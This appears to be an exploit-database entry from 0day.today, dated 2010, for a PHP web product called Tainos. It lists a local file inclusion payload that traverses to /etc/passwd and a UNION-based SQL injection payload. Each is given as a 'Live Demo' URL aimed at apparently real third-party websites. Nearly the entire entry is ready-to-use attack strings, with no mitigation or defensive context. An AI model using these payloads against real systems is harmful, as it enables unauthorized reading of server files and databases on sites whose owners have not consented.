Tainos Multiple Vulnerabilities

2010-05-16T00:00:00
ID 1337DAY-ID-12264
Type zdt
Reporter XroGuE
Modified 2010-05-16T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ===============================
Tainos Multiple Vulnerabilities
===============================


########################################
# Name: Tainos Multiple Vulnerabilities
# Vendor: www.tainos-webdesign.com
# Date: 2010/05/16
# Author: Ashiyane Digital Security Team
# Discovered: XroGuE
# Thanks to: Virangar,Ali.Eagle,Satanic2000,Ashiyane Members
# Contact: [email protected]
########################################

########################################
[+] Local File Include Vulnerability:

[+] Vulnerability: www.Site.com/[path]/Page.php?page=[LFI]

[+] Live Demo: http://www.ain-dominican-realestate.com/index_offer.php?page=../../../../../../../../../../etc/passwd

[+] Live Demo: http://www.mel-tour.com/nederlands/tours.php?page=../../../../../../../../../../etc/passwd

########################################

########################################
[+] SQL Injection Vulnerability:

[+] Vulnerability: /www.site.com/index.php?id=[SQLi]

[+] Live Demo: http://www.sosuanews.com/index.php?id=-9999+union+all+select+1,2,@@version,4,5

######################################## 



#  0day.today [2018-01-10]  #